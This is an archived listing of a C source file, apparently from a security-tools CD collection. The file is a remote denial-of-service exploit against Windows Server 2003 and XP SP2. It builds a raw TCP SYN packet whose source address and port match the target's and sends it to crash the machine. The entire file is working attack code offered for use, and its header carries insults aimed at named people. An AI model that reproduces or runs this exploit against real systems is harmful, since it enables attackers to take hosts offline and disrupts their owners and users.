home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / windos.c < prev    next >
C/C++ Source or Header  |  2005-03-16  |  3KB  |  133 lines
  1. nclude <stdio.h> 
  2. #include <ctype.h> 
  3. #include <sys/socket.h> 
  4. #include <netinet/in.h> 
  5. #include <netinet/in_systm.h> 
  6. #include <netinet/ip.h> 
  7. #include <netinet/tcp.h> 
  8. #include <sysexits.h> 
  9. #include <stdlib.h> 
  10. #include <unistd.h> 
  11. #include <sys/types.h> 
  12.  
  13. /* 
  14. Windows Server 2003 and XP SP2 remote DoS exploit 
  15. Tested under OpenBSD 3.6 at WinXP SP 2 
  16. Vuln by Dejan Levaja <dejan_@_levaja.com>
  17. (c)oded by __blf 2005 RusH Security Team , http://rst.void.ru 
  18. Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor 
  19. Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy 
  20. All rights reserved. 
  21. */ 
  22.  
  23. //checksum function by r0ach 
  24. u_short checksum (u_short *addr, int len) 
  25. { 
  26. u_short *w = addr; 
  27. int i = len; 
  28. int sum = 0; 
  29. u_short answer; 
  30. while (i > 0) 
  31. { 
  32. sum += *w++; 
  33. i-=2; 
  34. } 
  35. if (i == 1) sum += *(u_char *)w; 
  36. sum = (sum >> 16) + (sum & 0xffff); 
  37. sum = sum + (sum >> 16); 
  38. return (~sum); 
  39. } 
  40. int main(int argc, char ** argv) 
  41. { 
  42. struct in_addr src, dst; 
  43. struct sockaddr_in sin; 
  44. struct _pseudoheader { 
  45. struct in_addr source_addr; 
  46. struct in_addr destination_addr; 
  47. u_char zero; 
  48. u_char protocol; 
  49. u_short length; 
  50. } pseudoheader; 
  51. struct ip * iph; 
  52. struct tcphdr * tcph; 
  53. int mysock; 
  54. u_char * packet; 
  55. u_char * pseudopacket; 
  56. int on = 1; 
  57. if( argc != 3) 
  58. { 
  59. fprintf(stderr, "r57windos.c by __blf\n"); 
  60. fprintf(stderr, "RusH Security Team\n"); 
  61. fprintf(stderr, "Usage: %s <dest ip> <dest port>\n", argv[0]); 
  62. return EX_USAGE; 
  63. } 
  64. if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL) 
  65. { 
  66. perror("malloc()\n"); 
  67. return EX_OSERR; 
  68. } 
  69. inet_aton(argv[1], &src); 
  70. inet_aton(argv[1], &dst); 
  71. iph = (struct ip *) packet; 
  72. iph->ip_v = IPVERSION; 
  73. iph->ip_hl = 5; 
  74. iph->ip_tos = 0; 
  75. iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr)); 
  76. iph->ip_off = htons(IP_DF); 
  77. iph->ip_ttl = 255; 
  78. iph->ip_p = IPPROTO_TCP; 
  79. iph->ip_sum = 0; 
  80. iph->ip_src = src; 
  81. iph->ip_dst = dst; 
  82. tcph = (struct tcphdr *)(packet +sizeof(struct ip)); 
  83. tcph->th_sport = htons(atoi(argv[2])); 
  84. tcph->th_dport = htons(atoi(argv[2])); 
  85. tcph->th_seq = ntohl(rand()); 
  86. tcph->th_ack = rand(); 
  87. tcph->th_off = 5; 
  88. tcph->th_flags = TH_SYN; // setting up TCP SYN flag here 
  89. tcph->th_win = htons(512); 
  90. tcph->th_sum = 0; 
  91. tcph->th_urp = 0; 
  92. pseudoheader.source_addr = src; 
  93. pseudoheader.destination_addr = dst; 
  94. pseudoheader.zero = 0; 
  95. pseudoheader.protocol = IPPROTO_TCP; 
  96. pseudoheader.length = htons(sizeof(struct tcphdr)); 
  97. if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL) 
  98. { 
  99. perror("malloc()\n"); 
  100. return EX_OSERR; 
  101. } 
  102. memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader)); 
  103. memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr)); 
  104. tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr)); 
  105. mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); 
  106. if(!mysock) 
  107. { 
  108. perror("socket!\n"); 
  109. return EX_OSERR; 
  110. } 
  111. if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) 
  112. { 
  113. perror("setsockopt"); 
  114. shutdown(mysock, 2); 
  115. return EX_OSERR; 
  116. } 
  117. sin.sin_family = PF_INET; 
  118. sin.sin_addr = dst; 
  119. sin.sin_port = htons(80); 
  120. if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0, 
  121. (struct sockaddr *)&sin, sizeof(sin)) == -1) 
  122. { 
  123. perror("sendto()\n"); 
  124. shutdown(mysock, 2); 
  125. return EX_OSERR; 
  126. } 
  127. printf("Packet sent. Remote machine should be down.\n"); 
  128. shutdown(mysock, 2); 
  129. return EX_OK; 
  130. } 
  131.  
  132.  
  133.